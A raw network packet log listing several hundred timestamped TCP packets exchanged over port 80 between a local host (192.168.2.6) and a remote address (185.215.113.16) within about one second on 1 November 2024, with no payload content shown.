Nov 1, 2024 03:45:23.685441017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685450077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685493946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685585022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685596943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685607910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685625076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685631990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685643911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685808897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685815096 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685822010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685833931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685869932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685947895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685961008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685971975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685986996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.686031103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.686079025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.686089993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.686139107 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687136889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687215090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687216997 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687227011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687284946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687294006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687305927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687345982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687417984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687428951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687439919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687452078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687465906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687505960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687546015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687623024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687632084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687693119 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687695980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687711000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687724113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687777996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687777996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687787056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687799931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687877893 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.687899113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687908888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.687944889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688004971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688015938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688034058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688045025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688067913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688076973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688088894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688100100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688138008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688138008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688154936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688168049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688179970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688190937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688210011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688255072 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688278913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688288927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688307047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688318968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688349009 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688349009 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.688374996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.688419104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.731226921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.731245995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.731256008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.731300116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.731311083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.731359959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.753513098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753534079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753545046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753639936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753657103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753675938 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.753705025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753721952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753735065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753735065 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.753801107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.753830910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.800801039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800848007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800859928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800904989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.800947905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.800949097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800960064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800973892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.800986052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801011086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801048994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801239967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801250935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801261902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801273108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801305056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801316023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801323891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801327944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801341057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801352978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801352978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801378965 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801506996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801517010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801573038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801573992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801588058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801661015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.801688910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801701069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801712036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801723003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.801862955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.802714109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802731991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802742958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802839994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.802846909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802860975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802871943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802908897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.802938938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.802992105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803002119 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803003073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803072929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803231955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803286076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803298950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803386927 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803394079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803406000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803453922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803467989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803507090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803518057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803546906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803587914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803600073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803611040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803637028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803637028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803709030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803749084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803760052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803795099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803811073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.803843021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803853989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803864002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.803993940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.804006100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804018021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804028988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804084063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804162025 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.804171085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804181099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804191113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804203987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804214001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.804233074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.804303885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.846529007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.846554995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.846565008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.846585035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.846642971 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.846740007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.868849993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.868884087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.868895054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.868961096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.868973017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.868983030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.868983984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.869015932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.869045019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.869075060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.869086027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.869119883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.869119883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.915891886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.915926933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.915937901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.915986061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.915997982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916033983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916037083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916055918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916070938 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916106939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916119099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916121960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916172028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916176081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916188002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916249037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916249990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916263103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916337967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916347980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916362047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916418076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916418076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916424990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916435957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916446924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916459084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916491985 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916538000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916572094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916616917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916629076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916687012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916718006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916721106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916776896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916788101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916799068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916807890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.916825056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916825056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.916873932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.917824984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.917835951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.917864084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.917946100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.917956114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.917957067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.917968988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918056965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918076038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918087006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918092966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.918349981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.918760061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918807030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918818951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.918962955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921065092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921077013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921087980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921125889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921138048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921149015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921160936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921164989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921195030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921263933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921293974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921371937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921381950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921392918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921403885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921415091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921463966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921463966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921485901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921497107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921528101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921542883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921547890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921617031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921627045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921719074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921730995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921741962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921752930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.921802044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.921802044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.961922884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.961971045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.961982012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.963500977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.984194994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984220982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984235048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984251976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984261990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984302998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.984334946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984347105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984368086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.984427929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984440088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.984448910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.984535933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031187057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031213045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031224012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031234026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031254053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031265020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031291008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031346083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031445026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031462908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031476021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031487942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031502962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031519890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031533003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031557083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031613111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031616926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031626940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031696081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031708002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031721115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031830072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031841993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031852961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031864882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031877041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.031888962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031924963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.031994104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032037973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032042980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.032049894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032102108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.032128096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032140017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032155991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032186031 CET	49750	80	192.168.2.6	185.215.113.16
